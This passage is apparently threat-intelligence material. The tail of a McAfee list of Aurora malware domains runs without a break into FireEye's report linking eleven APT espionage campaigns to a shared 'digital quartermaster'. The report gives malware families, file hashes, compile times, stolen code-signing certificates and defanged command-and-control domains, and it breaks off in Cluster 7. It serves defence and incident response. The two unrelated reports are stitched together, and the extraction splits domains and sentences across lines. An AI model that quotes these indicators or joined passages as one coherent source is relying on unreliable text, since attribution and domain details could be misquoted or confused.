sc01[dot]webhop[dot]biz temp1[dot]homeunix[dot]com tor[dot]homeunix[dot]com ttt1[dot]homelinux[dot]org up01[dot]homelinux[dot]com up1[dot]homelinux[dot]org up1[dot]serveftp[dot]net up2[dot]mine[dot]nu update1[dot]homelinux[dot]org update1[dot]merseine[dot]nu jlop[dot]homeunix[dot]com on1[dot]homeunix[dot]com vm01[dot]homeunix[dot]com vvpatch[dot]homelinux[dot]org war1[dot]game-host[dot]org xil[dot]homeunix[dot]com In the names above, [dot] is substituted for .
to protect users from accidentally clicking and launching malicious domains.
We recommend searching for outbound requests for, at minimum, the 12/10/09 to 1/6/10 timeframe.
The above domains and file names and hashes may not be all inclusive of all those associated with Aurora but give a reasonable representation.
If you see Web communication to any of the above sites you should analyze the origination machine immediately and reach out to McAfee Foundstone for onsite Incident Response Services.
http://www.foundstone.com/us/contact-form_911.aspx
SECURITY REIMAGINED REPORT SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye 2  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop CONTENTS Executive Summary ............................................................................................................................................................................................................................................................................................................... 3 Introduction ............................................................................................................................................................................................................................................................................................................................................... 5 Overview ............................................................................................................................................................................................................................................................................................................................................................ 6 Cluster Analysis Techniques ........................................................................................................................................................................................................................................................................... 9 Clusters ............................................................................................................................................................................................................................................................................................................................................................. 13 Shared Builders ........................................................................................................................................................................................................................................................................................................................... 24 Conclusion ................................................................................................................................................................................................................................................................................................................................................ 29 Appendix ....................................................................................................................................................................................................................................................................................................................................................... 30 About FireEye .................................................................................................................................................................................................................................................................................................................................. 39 3  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Executive Summary Many seemingly unrelated cyber attacks may, in fact, be part of a broader offensive fueled by a shared development and logistics infrastructurea finding that suggests some targets are facing a more organized menace than they realize.
This report examines 11 advanced persistent threat (APT) campaigns targeting a wide swath of industries.
Though they appeared unrelated at first, further investigation uncovered several key links between them: the same malware tools, the same elements of code, binaries with the same timestamps, and signed binaries with the same digital certificates.
Taken together, these commonalities point to centralized APT planning and development.
How prevalent this model has become is unclear.
But adopting it makes financial sense for attackers, so the findings may imply a bigger trend.
This report focuses on two key findings: Shared development and logistics A shared malware-builder tool Shared development and logistics Examining the 11 APT campaigns revealed a shared development and logistics operation used to support several APT actors in distinct but overlapping campaigns.
This development and logistics operation is best described as a digital quartermaster.
Its mission: supply and maintain malware tools and weapons to support cyber espionage.
This digital quartermaster also might be a cyber arms dealer of sorts, a common supplier of tools used to conduct attacks and establish footholds in targeted systems.
Shared builder tool SFireEye researchers located a builder tool likely used in some of the 11 APT campaigns.
The tools appear to be written in Chinese, and the testing infrastructure appears to all be configured with the native Chinese language character set, and the dialogues and menu options in the builder tool are in Chinese.
The Sunshop connection In May 2013, FireEye first reported on the Sunshop campaign, which compromised several strategic websites and redirected visitors to a site serving multiple exploits.1 In August 2013, FireEye reported that the campaign was continuing2 and, later that month, discovered additional related attacks.
Examining the underlying infrastructure of these attacks revealed that the campaign utilized resources shared across other APT campaigns not initially tied to Sunshop.
The other campaigns included multiyear onslaughts targeting companies across 15 industries.
Given the wide range of targets observed, the campaigns specific objectives (beyond the obvious intellectual property theft) are unclear.
1 Ned Moran.
Ready for Summer: The Sunshop Campaign.
May 2013.
2 Ibid.
The Sunshop Campaign Continues.
August 2013.
4  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop This report outlines the following: The quantity and categories of malicious binaries related to the originally identified Sunshop attacks and 10 other campaigns subsequently linked to Sunshop The underlying infrastructure, including components of code used across these campaigns Clusters of APT activity previously believed to be unrelated A malware builder that likely supported one of these APT activity clusters Targeted industries The 11 interconnected campaigns targeted these industries: Aerospace/Defense/Airlines Applied research and development Chemicals/Manufacturing/Mining Higher education Entertainment/Media/Hospitality Energy/Utilities/Petroleum refining Financial services Federal government State and local government Healthcare/Pharmaceuticals High-tech Insurance Legal services Services/Consulting/VAR Telecommunications 19 17 1222 1 11 10 9 7 6 5 4 4 High-tech Financial services Telecommunications Federal government Energy/Utilities/Petroleum refining Aerospace/Defense/Airlines Chemicals/Manufacturing/Mining Services/Consulting/VAR Applied research and development Healthcare/Pharmaceuticals Higher education Insurance State and local government Entertainment/Media/Hospitality Legal services Figure 1.
Percent of APT campaigns per industry 5  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop FireEye detected activity from the campaigns between July 2011 and September 2013, but they were likely active before then.
Though the campaigns utilized varying techniques, tactics, and procedures (TTPs), they all leveraged a common development infrastructure.
They shared (in various combinations) the following: Portable executable resources Digital certificates API import tables Compile times Command-and-control (CnC) infrastructure Based on the evidence, this report outlines the following possible conclusions: [High Confidence] A Sunshop Digital Quartermaster (SDQ) exists and supports separate APT campaigns.
FireEye believes that the most likely explanation for these links is a shared development and logistics operation that supports several APT campaigns as part of formal offensive apparatus.
[
Low Confidence] SDQ and APT campaigns are a single actor.
Another conceivable possibility is tha the 11 clusters of activity, previously believed to be independent campaigns run by different actors, are in fact one cluster of activity run by one well- resourced actor.
However, we believe this scenario is less likely because each cluster of activity utilized malware samples with different artifacts such as passwords, campaign identifiers, and mutexes.
These artifacts were generally consistent within each cluster of activity but differed across clusters.
[
Medium Confidence] SDQ does not exist, and APT actors informally share among each other.
Alternatively, different actors may be responsible for the documented 11 clusters of activity.
Instead of relying on a centralized development and logistics operation, they share TTPs through formal or informal channels.
Introduction TOn May 20, 2013 FireEye first reported on the Sunshop campaign.3 The actor responsible for this campaign compromised a number of strategic websites, redirecting visitors to a site serving multiple exploits.
Almost three months later, FireEye reported that the campaign was continuing.4 We discovered additional related attacks about a week after that.
During the intervening time, we examined the underlying infrastructure supporting these attacks and found that the Sunshop campaign utilized resources shared across a number of other APT campaigns not initially tied to Sunshop.
What we initially believed to be 11 different APT campaigns used the same malware tools, the same elements of code, binaries with the same timestamps, and signed binaries with the same digital certificates.
Through this discovery, we believe that we have identified a shared development and logistics operation used to support a number of different APT actors engaged in distinctive but overlapping campaigns.
This development and logistics operation is best described as a digital quartermaster whose mission is to supply and maintain malware tools and weapons used in support of cyber espionage operations.
This digital quartermaster is a possible cyber arms dealer, supplying the operators responsible for conducting attacks and establishing footholds within targeted organizations.
As such, we refer to this entity as the Sunshop Digital Quartermaster (SDQ).
3 Ned Moran.
Ready for Summer: The Sunshop Campaign.
May 2013.
4 Ibid.
The Sunshop Campaign Continues.
August 2013.
6  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop To support this conclusion, we first present an overview of our research, including the total number and type of malicious binaries we found to be related to Sunshop and the 10 other linked campaigns.
We then describe the underlying infrastructure, including the components of code used across these campaigns.
We further describe the different clusters of APT activity that we previously believed to be unrelated.
Finally, we describe one of the malware builders we believe was used to support one of these clusters of APT activity.
Overview We collected 110 unique binaries, which were detected as Trojan.
APT.9002, Trojan.
APT.PoisonIvy, Trojan.
APT.Gh0st, Trojan.
APT.Kaba, and Trojan.
APT.Briba.
Sixty-five of these binaries were packaged with two unique manifest resources, and 47 were signed with six different digital certificates.
The binaries connected to 54 unique fully qualified domains.
We identified these samples by searching binaries packaged with the two unique portable executable (PE) resources that we had previously identified.
We believe that these PE resources are unique to Sunshop and the 10 other linked campaigns.
We also searched for samples signed with the six different digital certificates that were used to sign binaries connected to these campaigns.
These certificates were not unique to these campaigns and have been used to sign unrelated malware.
Therefore, we cross-checked samples signed with any of these certificates to ensure that they were, in fact, related to the 10 campaigns we identified as linked to Sunshop.
As we identified related campaigns that leveraged the unique PE resources or digital certificates, we then pivoted off the CnC infrastructure to identify additional samples.
We cross-checked samples identified through this process to ensure that they did indeed share the code elements that we previously identified as unique to Sunshop and its associated campaigns.
We searched our internal repositories, including the FireEye high performance cluster and other wellknown external repositories.
We primarily relied on running active searches with YARA signatures designed to identify samples, with either the PE resources or digital certificates.
We also compared the import tables used in each sample to establish additional links between the 10 different campaigns linked to Sunshop.
All of this research led us to the above-mentioned 110 binaries.
Figure 2 plots the samples in a Maltego chart.
Detection Number of Samples Trojan.
APT.9002 70 Trojan.
APT.PoisonIvy 26 Trojan.
APT.Gh0st 12 Trojan.
APT.Kaba  1 Trojan.
APT.Briba  1 Table 1: APT malware samples linked to the SDQ 7  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Figure 2 shows only domains, IP addresses, and MD5 malware/dropper hashes collected during our research.
These limited data points display 11 different and seemingly independent clusters of activity.
We continued our analysis by adding the following additional data points to our graph.
Two portable executable (PE) resources used by 64 samples in our collection Six different digital certificates used by 47 samples in our collections Hashes of the different import tables used by the binaries in our graph These additional data points linked the 11 different clusters of activity and revealed what we believe to be a shared development logistics infrastructure.
Figure 2.
Eleven seemingly different APT campaigns 8  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Figure 3 illustrates the overlaps and connections that exist between what initially appeared to be 11 independent campaigns.
This chart shows how the additional data points of the shared PE resources, commonly used digital certificates, and identical import tables can link these different campaigns together.
Figure 3.
Eleven APT campaigns linked to the SDQ 9  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Figure 4.
Sunshop PE resource manifest Cluster Analysis Techniques Our research analyzed the following to identify and tie all 11 campaigns to the SDQ: PE resources Import tables Authenticode/Digital certificates Compile times PE resource We found that 64 of the 110 samples analyzed during this analysis were packaged with two almost identical portable executable resources.
In both cases, the resources appeared to be manifests generated by the Nullsoft scriptable installation system (NSIS).
Nullsoft is a script- driven tool that simplifies the installation routines of executable files onto the Microsoft Windows operating system.
Sunshop manifest We identify the first of these manifest resources as the Sunshop manifest.
It has these properties: MD5 f9e2887828846b3d383bdf9d0fded5e3 SHA256 82a98c88d3dd57a6ebc0fe7167a868 75ed52ebddc6374ad640407 efec01b1393 The full text of the PE resource manifest is shown in Figure 4. ?
xml version1.0 encodingUTF-8 standaloneyes?
assembly xmlnsurn:schemas-microsoft-com:asm.v1 manifestVersion1.0 assemblyIdentity version1.0.0.0 processorArchitectureX86 nameNullsoft.NSIS.exehead typewin32/ descriptionNullsoft Install System v2.34/description dependencydependentAssembly assemblyIdentity typewin32 nameMicrosoft.
Windows.
Common- Controls version6.0.0.0 processorArchitectureX86 publicKey Token6595b64144ccf1df language / /dependentAssembly /dependency trustInfo xmlnsurn:schemas-microsoft-com:asm.v3 security requestedPrivileges requestedExecutionLevel levelasInvoker uiAccessfalse/ /requestedPrivileges /security /trustInfo /assembly 10  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Figure 5.
DTL PE resource manifest We found 44 unique binaries packaged with the above Sunshop manifest.
These samples were detected as Trojan.
APT.9002, Trojan.
APT.Gh0st, and Trojan.
APT.PoisonIvy.
We observed these 44 samples used in eight of the 11 different campaigns discussed below.
DTL manifest We identify the second manifest resource as the DTL manifest.
This resource has these properties: MD5 010e5a583d74850cdc0655f22c7a9003 SHA256 46b966331d883d642293f4b1faa55f4c8c3 0b4238df8f121278a3752609a2cef The full text of the PE resource manifest is as follows: ?
xml version1.0 encodingUTF-8 standaloneyes?
assembly xmlnsurn:schemas-microsoft-com:asm.v1 manifestVersion1.0 assemblyIdentity version1.0.0.0 processorArchitectureX86 nameNullsoft.NSIS.exehead typewin32/ descriptionNullsoft Install System v2.34/description dependencydependentAssembly assemblyIdentity typewin32 nameMicrosoft.
Windows.
Common- Controls version6.0.0.0 processorArchitectureX86 publicKey Token6595b64144ccf1df language / /dependentAssembly /dependency trustInfo xmlnsurn:schemas-microsoft-com:asm.v3 security requestedPrivileges requestedExecutionLevel levelasInvoker uiAccessfalse/ /requestedPrivileges /security /trustInfo /assembly 11  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop We found 20 samples using the DTL manifest.
These binaries were detected as Trojan.
APT.9002.
We observed these 20 samples used in five of the 11 different campaigns discussed below.
The only difference between these manifest resources is the indentation of the security elements.
Lines 10 through 13 in Figure 6 detail this difference.
This slight difference results in a different hash for the resource.
The similarity between these two manifests would likely go unnoticed by automated analysis.
Also, the XML is improperly formatted, hinting that it was formatted manually.
As an experiment, we used NSIS v2.34 to create our Figure 6.
Comparison of Sunshop (left) and DTL (right) PE resource manifests own simple installer and found that the XML in the manifest had no new-line or tab characters.
Import tables We utilized a simple technique to identify similarities in import tables between the 110 different samples we analyzed during our analysis.
We aggregated the import calls found in each sample and used this as a unique fingerprint.
We then used these fingerprints to cluster similar samples together.
The Python code in Figure 6 relies on the module pefile and can be used to dump all the import calls used in a specific binary.
The output can then be easily hashed.
pe  pefile.
PE(file) for entry in pe.
DIRECTORY_ENTRY_IMPORT: for imp in entry.imports: if imp.name  None: print entry.dll, imp.name, hex(imp.address) else: print entry.dll, hex(imp.address) Figure 7.
Python code to dump all import calls used in a specific binary 12  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop We found 33 unique import tables used for the 110 different samples we collected during our research.
The most common import table seen had a MD5 hash of 3a7faeac22e6ab5c3c28a2b617901b51 and appeared in 38 different binaries.
This particular import table appeared in both Trojan.
APT.9002 and Trojan.
APT.PoisonIvy binaries.
It was used in eight of the 11 different clusters of activity we studied during this analysis.
In addition to the identical import tables, these samples have the same code base, differing in the unpacking routine for the actual payload, indicating that they are general-purpose launchers.
Upon execution, the malware samples with the import table hash of 3a7faeac22e6ab5c3c28a2b617901b51 called back to these domains and IP addresses: ieee.boeing-job[.
]com lol.dns-lookup[.
]us twn.ftpmicrosoft[.
]com 127.0.0.1 piping.no-ip[.
]org wv.downmicrisoft[.
]com mx.downmicrisoft[.
]com update1.mysq1[.
]net ru.pad62[.
]com phpweb.zapto[.
]org asp.homesvr.linkpc[.
]net dns.homesvr[.
]tk ssl.homesvr[.
]tk The second most common import table had a MD5 hash of f6d9eda2b4ab23b1f2be49e1a4f9a1f7 and appeared in 12 different samples.
These 12 samples were all detected as Trojan.
APT.PoisonIvy and appeared in only one of the 10 campaigns discussed below.
Upon execution, all of the malware samples with this import table hash beaconed to these domains: luckmegame.servegame[.
]com luckmevnc.myvnc[.
]com The third most common import table had a MD5 hash of 71213bd677edc82c6ef30cb505c13dec and appeared in nine different samples.
These samples were all detected as Trojan.
APT.9002 and appeared in three of the 10 campaigns we analyzed.
Upon execution, these samples called back to these domains: engage.intelfox[.
]com ru.pad62[.
]com tank.hja63[.
]com dtl.eatuo[.
]com dtl6.mooo[.
]com dtl.dnsd[.
]me 13  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Authenticode/digital certificates analysis Digital certificates are used to validate the authenticity of code.
Attackers often use stolen or spoofed digital certificates to sign their malicious code and improve the likelihood that their code will execute successfully on its target.
During our research, we found six digital certificates used to sign 44 different malware samples.
These certificates are currently revoked or expired and were signed by Microsoft, Sinacom, Facesun.cn, Mgame Corp, Guangzhou YuanLuo Technology Co., Ltd., and Wuhan Tian Chen Information Technology Co., Ltd.
The full details of these certificates are available in Appendix A.
According to Kaspersky, the Mgame Corp. and Guangzhou YuanLuo Technology Co., Ltd. certificates were stolen.5 Whether the remaining certificates were also stolenor were ever validis unclear.
The certificates from Mgame Corp and Wuhan Tian Chen Information Technology Co. ,Ltd. were used most frequently.
We found 24 samples signed with the certificate from Mgame Corp.
These samples were all detected as Trojan.
APT.9002 and appeared in four of the 10 campaigns we studied during this research.
We found 15 samples signed with the certificate from Wuhan Tian Chen Information Technology Co., Ltd.
These samples were all detected as Trojan.
APT.PoisonIvy and appeared in one of the 10 campaigns discussed below.
Compile times Although the compilation time of binaries can be easily forged, analyzing them is still useful.
The timestamp may not reveal when a binary was actually compiled, but it can be used to cluster samples by identical compile times.
The most common compile time was December 19, 2012 at 20:25.
We found 28 binaries compiled at this time.
All of these binaries were detected as Trojan.
APT.9002 and utilized the Sunshop PE resource.
We observed samples with this timestamp in six of the 11 clusters of APT activity we studied during this research.
The next most common compile time was July 21, 2012 at 14:50.
We identified five samples compiled at this time.
All of these samples were detected as Trojan.
APT.9002 and utilized the DTL PE resource.
These samples appeared in two of the 11 campaigns.
The use of this same compile times across a number of different campaigns is another indication that a common development and logistics infrastructure supported these disparate operations.
Clusters The shared characteristics were used across malware tools used in at least 11 different clusters of APT activity.
These clusters were originally believed to be separate and distinct campaigns and were grouped together based on shared CnC infrastructure using passive DNS data or registration information.
Cluster 1: Sunshop The Sunshop campaign appears to primarily leverage strategic Web compromise as a vector of attack.
We have detailed the specifics of the Sunshop campaign on the FireEye blog.6 We found 15 different samples linked to the Sunshop campaign.
These samples were detected as Trojan.
APT.Gh0st, Trojan.
APT.PoisonIvy, Trojan.
APT.
Briba, and Trojan.
APT.9002.
All of the Sunshop samples that we identified had compile times between January 1, 2013 and August 24, 2013.
Twelve of the 15 utilized the Sunshop PE 5 Securelist.
Winnti FAQ.
More than just a game.
April 2013.
6 See http://www.fireeye.com/blog/technical/cyber-exploits/2013/05/ready-for-summer-the-sunshop-campaign.html and http://www.fireeye.com/blog/technical/cyber-exploits/2013/08/the-sunshop-campaign-continues.html.
14  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop resource, and none was signed with any of the six identified digital certificates.
When executed, the Sunshop samples beaconed to these CnC servers: appupdate.myvnc[.
]com asp.homesvr.linkpc[.
]net dns.homesvr[.
]tk 9ijhh45.zapto[.
]org newtibet[.
]tk ssl.homesvr[.
]tk nameserver1.zapto[.
]org phpweb.zapto[.
]org homeweb.sytes[.
]net intelupdate.hopto[.
]org ajaxcode.zapto[.
]org updateinfor.hopto[.
]org mynews.sytes[.
]net The campaign targeted these industries: State and local government Telecommunications Legal services Table 2 outlines Sunshop-related malware and compile times.
MD5 Hash Compile Time Malware Family 218548a9fa75febadc2562b45207efc6 1/20/13 03:25 Trojan.
APT.Gh0st 2b6605b89ead179710565d1c2b614665 3/12/13 21:04 Trojan.
APT.PoisonIvy 0fafed2724cb3e8a7b967c808a9fd61c 3/12/13 21:09 Trojan.
APT.PoisonIvy 5fa521e8de8cbed7c176c632ae44b3d7 4/3/13 19:13  Trojan.
APT.9002 d99ed31af1e0ad6fb5bf0f116063e91f 4/27/13 15:56  Trojan.
APT.9002 b0ef2ab86f160aa416184c09df8388fe 4/27/13 15:56 Trojan.
APT.9002 6bc1d036c6dda828b1987342d06646b2 4/27/13 15:56 Trojan.
APT.9002 42bd5e7e8f74c15873ff0f4a9ce974cd 4/27/13 15:56 Trojan.
APT.9002 d9eafd20eba6afedd542f2bf5b328016 4/27/13 15:56 Trojan.
APT.9002 6fe0f6e68cd9cc6ed7e100e7b3626665 4/27/13 09:21 Trojan.
APT.Briba 53c5570178403b6fbb423961c3831eb2 6/25/13 01:19 Trojan.
APT.9002 f4ba5fd0a4f32f92aef6d5c4d971bf14 6/25/13 01:19 Trojan.
APT.9002 33299011f0d2b92d951471bbc3ea52b6 8/24/13 18:22 Trojan.
APT.9002 74fca616de1048c23fed5f92c4face95 8/24/13 18:22 Trojan.
APT.9002 234aae60b386bd684569408c3262de03 8/24/13 18:22 Trojan.
APT.9002 Table 2: Sunshop-related malware compile times 15  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Cluster 2: DTL The DTL campaign appears to depend primarily on spear-phishing email as an initial infection vector.
We found seven different samples linked to the DTL campaign.
All of these samples were detected as Trojan.
APT.9002.
These samples were compiled between September 19, 2012 and July 30, 2013.
All of these samples were packaged with the DTL PE resource, and one of the samples was signed with the digital certificate from Mgame Corp.
When executed, the DTL samples called back to these CnC servers: dtl.eatuo[.
]com dtl.dnsd[.
]me dtl6.mooo[.
]com img.advertisingsee[.
]com The campaign targeted these industries: Federal government State and local government Services/Consulting/VAR Financial services Telecommunications Aerospace/Defense/Airlines Energy/Utilities/Petroleum refining Healthcare/Pharmaceuticals Entertainment/Media/Hospitality Insurance Chemicals/Manufacturing/Mining High-tech Higher education MD5 Hash Compile Time Malware Family 6b4aa596e5a4208371942cdb0e04dfd9 9/19/12 18:07 Trojan.
APT.9002 6cbd49bed74f7bec642a4c518a99d8c5 10/10/12 15:01 Trojan.
APT.9002 9f5e9e6b0c87cad988f4a486e20bbc99 3/15/13 01:55 Trojan.
APT.9002 ea01e2544341da802b93fa62e6d804ed 3/15/13 01:55 Trojan.
APT.9002 0b0b1f2f8f9308472c43cc41838c519f 3/15/13 01:55 Trojan.
APT.9002 0e31a10218fea5b17037fde8474c809b 7/30/13 01:46 Trojan.
APT.9002 a0439dcad9a30e12a5d7cb4e38d0369c 7/30/13 01:46 Trojan.
APT.9002 Table 3: DTL-related malware compile times 16  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Cluster 3: Ru.pad62 The Ru.pad62 campaign appears to utilize both spear-phishing email and strategic Web compromise as initial infection vectors.
We found 26 different samples linked to the Ru.pad62 campaign.
These samples were detected as Trojan.
APT.9002, Trojan.
APT.Gh0st, Trojan.
APT.Kaba, and Trojan.
APT.PoisonIvy.
The 26 linked samples had compile timestamps between September 19, 2011 and December 19, 2012.
Ten of the samples from the Ru.pad62 campaign were packaged with the DTL resource, and six of the samples were packaged with the Sunshop resource.
Only four samples linked to the Ru.pad62 campaign were signed with digital certificatestwo with the Mgame Corp. certificate and two with a certificate from Microsoft.
When executed, the Ru.pad62 samples we found called back to these CnC servers: ru.pad62[.
]com tank.hja63[.
]com 173.234.184[.
]45 fly.pad62[.
]com tho.pad62[.
]com tho.hja63[.
]com The campaign targeted these industries: Higher education Entertainment/Media/Hospitality High-tech MD5 Hash Compile Time Malware Family ea6de0e20fa5ee7c1f2cd5676c0ab7e2 9/19/11 23:11 Trojan.
APT.Gh0st ec79969351717f5197dd4b2b164d4317 9/19/11 23:11 Trojan.
APT.Gh0st e6b3febc971c711de74caea0887cf586 4/9/12 10:29 Trojan.
APT.9002 bd16d4ca446f46349edbd53e06f0d01a 7/8/12 14:55 Trojan.
APT.9002 625daa7c44d1d1035d455f003b6b6b5b 7/7/12 10:14 Trojan.
APT.Gh0st 036863c78cc09f511fcbc29eb5bc6760 7/8/12 14:55 Trojan.
APT.9002 a89a13462e1de9241569b24b101efe4d 7/8/12 14:55 Trojan.
APT.9002 ef29ec86455c1abb55cf612f7a191b03 7/8/12 14:55 Trojan.
APT.9002 1bd468332c0dfc8ba2a3a5f286f20b7a 7/21/12 14:50 Trojan.
APT.9002 859301c5874ca3739e8ac81ddfc676e6 7/21/12 14:50 Trojan.
APT.9002 58e81154a87cc93d546c4c45de9b1ec3 7/21/12 14:50 Trojan.
APT.9002 6ef66c2336b2b5aaa697c2d0ab2b66e2 7/21/12 14:50 Trojan.
APT.9002 d2c53f8ef8f8c04237e6c2b5e4820457 8/19/12 08:23 Trojan.
APT.Kaba 50d0e9d32f8c2b3e32d073ed4a08091e 8/19/12 08:23 Trojan.
APT.Kaba 841f00641de924117e2cbe6b4620015b 9/24/12 04:10 Trojan.
APT.Gh0st fce13d50bcbeae38e44b08be21f907da 9/27/12 00:13 Trojan.
APT.PoisonIvy 8831d9d04aa7fdcfa1b5bdb83f71316a 9/27/12 00:13 Trojan.
APT.PoisonIvy table continued on page 17 17  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop MD5 Hash Compile Time Malware Family bde732368bc01b988a6f352898259a30 12/19/12 20:25 Trojan.
APT.9002 8f5c46630af8cef723995d69fe03c73f 12/19/12 20:25 Trojan.
APT.9002 13c4083bdb893c8a0bd2930fa55962ca 12/19/12 20:25 Trojan.
APT.9002 0bb911278eb426be95e79b7f9c5dea92 10/10/12 15:01 Trojan.
APT.9002 bd2f28f776ae306eda90229b0fa13b6b 12/19/12 20:25 Trojan.
APT.9002 13c4083bdb893c8a0bd2930fa55962ca 12/19/12 20:25 Trojan.
APT.9002 f5ffbd8d17ab21095c56e00831c79cbc 12/19/12 20:25 Trojan.
APT.9002 a7481bd182886c7aae99abfd6f25d005 12/19/12 20:25 Trojan.
APT.9002 aa31a6a94d4ad7bf494b2532f2f7cb63 10/10/12 15:01 Trojan.
APT.9002 4eff545f1e04946e0b088ed15873b02d 10/10/12 15:01 Trojan.
APT.9002 table continued on page 16 Table 4: Ru.pad62-related malware and compile times Cluster 4: Downmicrisoft The Downmicrisoft campaign appears to utilize strategic Web compromise as an initial infection vector.
We found five different samples linked to the Downmicrisoft campaign.
These samples were detected as Trojan.
APT.9002 and Trojan.
APT.
Gh0st.
The five samples had compile timestamps between December 19, 2012 and April 4, 2013.
The earliest compile time for samples from the Downmicrisoft campaign (December 19, 2012) was the same day as the latest compile time for samples from the Ru.
Pad62 campaign.
Three of the samples linked to the Downmicrisoft campaign were packaged with the Sunshop PE resource, and all but one sample was signed with the Mgame Corp. digital certificate.
When executed, the Downmicrisoft samples called back to these CnC servers: wv.downmicrisoft[.
]com mx.downmicrisoft[.
]com up.downmicrisoft[.
]com tebit-newtwn.ftpmicrosoft[.
]com twn.ftpmicrosoft[.
]com The campaign targeted these industries: Entertainment/Media/Hospitality High-tech The same media organization targeted in the Downmicrisoft campaign was also targeted in the Ru.
Pad62 campaign.
18  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop MD5 Hash Compile Time Malware Family c8589ec3171656514ebd4df4cb79ec89 12/19/12 20:25 Trojan.
APT.9002 82fc8465c01c416c6dcaeaf16822d5a3 12/19/12 20:25 Trojan.
APT.9002 71e761d1683e76d5741cdf2d05aecdf8 12/19/12 20:25 Trojan.
APT.9002 372d218077715661aea2ada27b16e500 12/19/12 20:25 Trojan.
APT.9002 c27730971c04cdf049b44912a50b4804 4/4/13 09:50 Trojan.
APT.Gh0st Table 5: Downmicrisoft-related malware and compile times Also, the Trojan.
APT.Gh0st sample linked to the Downmicrisoft campaign, c27730971c04cdf049b44912a50b4804, did not use the default Gh0st string.
Instead, this sample used the string HTTPS.
Gh0st variants with this same string were described by RSA in a 2012 paper.7 Cluster 5: Boeing-Job The Boeing-Job campaign appears to utilize strategic Web compromises as an initial infection vector.
We previously discussed the Boeing-Job campaigns use of the Lady Boyle Flash exploit on the FireEye blog.8 We identified 19 different samples linked to the Boeing-Job campaign.
These samples were all detected as Trojan.
APT.9002 and had compile timestamps between July 21, 2012 and April 3, 2013.
Seven of the samples from the Boeing-Job campaign were packaged with both the Sunshop PE resource, and all but two were signed with the Mgame Corp. digital certificate.
When executed, the Boeing-Job samples called back to these CnC servers: www.boeing-job[.
]com engage.intelfox[.
]com ieee.boeing-job[.
]com lol.dns-lookup[.
]us 127.0.0.1 The campaign targeted these industries: Financial services Energy/Utilities/Petroleum refining Telecommunications 7 RSA.
The Voho Campaign: an In Depth Analysis.
September 2012.
8 Thoufique Haq and J. Gomez.
LadyBoyle Comes to Town with a New Exploit.
February 2013.
19  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop MD5 Hash Compile Time Malware Family a24992c89c4a8dd83b5e910131054c60 7/21/12 14:50 Trojan.
APT.9002 a7c79c7e13a6f3e5bfe4852efd937096 12/19/12 20:25 Trojan.
APT.9002 2a7e98b3079af88e296ed934966486b7 12/19/12 20:25 Trojan.
APT.9002 d399e5b8d0d6a01e14e713488d1ee6d9 12/19/12 20:25 Trojan.
APT.9002 fb53093f42b7517822f15cfd20cc24fe 12/19/12 20:25 Trojan.
APT.9002 94b564a3881bf4c3fcd1cc1c5f44e72f 12/19/12 20:25 Trojan.
APT.9002 7826651ee38c7e8d46131806b0bca1c6 12/19/12 20:25 Trojan.
APT.9002 f1ba92689036ab3c3aec7e0d49a647f1 12/19/12 20:25 Trojan.
APT.9002 47eec3b99a8dfa5381f24d6518bb7eda 12/19/12 20:25 Trojan.
APT.9002 fce973f7983b06b85aba0cab17732178 12/19/12 20:25 Trojan.
APT.9002 744a6a6c6b0f7b7355b7c1d5f1efd46e 12/19/12 20:25 Trojan.
APT.9002 bd4dc30072f76f20b52e0c564473bc92 12/19/12 20:25 Trojan.
APT.9002 97cd618e80cdc79353290cffb17274b8 12/19/12 20:25 Trojan.
APT.9002 432dce23d00694b103dd838144253d1b 12/19/12 20:25 Trojan.
APT.9002 a022f14ba32aeff2fe416a11384ed0ef 1/22/13 23:38 Trojan.
APT.9002 b4da1c3400b48803b41823feaf6085e8 2/4/13 16:15 Trojan.
APT.9002 b8ef95a8b32d31f29db5ca6b530815b9 2/4/13 16:15 Trojan.
APT.9002 432dce23d00694b103dd838144253d1b 2/4/13 16:15 Trojan.
APT.9002 ebd2bc0beecb9d3f80bbfaf7e046b31f 2/4/13 16:15 Trojan.
APT.9002 Table 6: Boeing-Job-related malware and compile times Cluster 6: Google-blogspot The Google-blogspot campaign appears to utilize strategic Web compromise as an initial infection vector.
We identified seven different samples linked to the Google-blogspot campaign.
These samples were all detected as Trojan.
APT.Gh0st or Trojan.
APT.PoisonIvy.
The Google-blogspot samples had compile timestamps between September 16, 2008 and June 27, 2012.
Four of the samples from the Google-blogspot campaign were packaged with the Sunshop PE resource, and one sample was signed with a digital certificate from Facesun.cn.
When executed, the Google-blogspot samples called back to these CnC servers: soft.google-blogspot[.
]com www.google-blogspot[.
]com blog.googleblog.iego[.
]net The campaign targeted this industry: Healthcare/Pharmaceuticals 20  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop MD5 Hash Compile Time Malware Family 2eee37b222ba9e8f373e49d31af62a69 9/16/08 10:17 Trojan.
APT.Gh0st e21c3c26c801573b789b39a0ff3c549b 12/20/11 00:32 Trojan.
APT.Gh0st ab468267b60a087ea8ad2a35a00e4f08 6/27/12 15:51 Trojan.
APT.Gh0st 9ffe2463e87a424b8cd7c8d1c77dc2bb 6/27/12 15:51 Trojan.
APT.Gh0st 1a24e834b4c7dd16f988ab590d03194d 6/27/12 15:51 Trojan.
APT.Gh0st 959a6f30de52b481c31e4482fea4333c 6/27/12 15:51 Trojan.
APT.Gh0st bb610bc9fbff3dd473b10a07ae963499 2/22/13 09:11 Trojan.
APT.PoisonIvy Table 7: Google-blogspot related malware and compile times Cluster 7: Luckme The Luckme campaign appears to utilize strategic Web compromise as an initial infection vector.
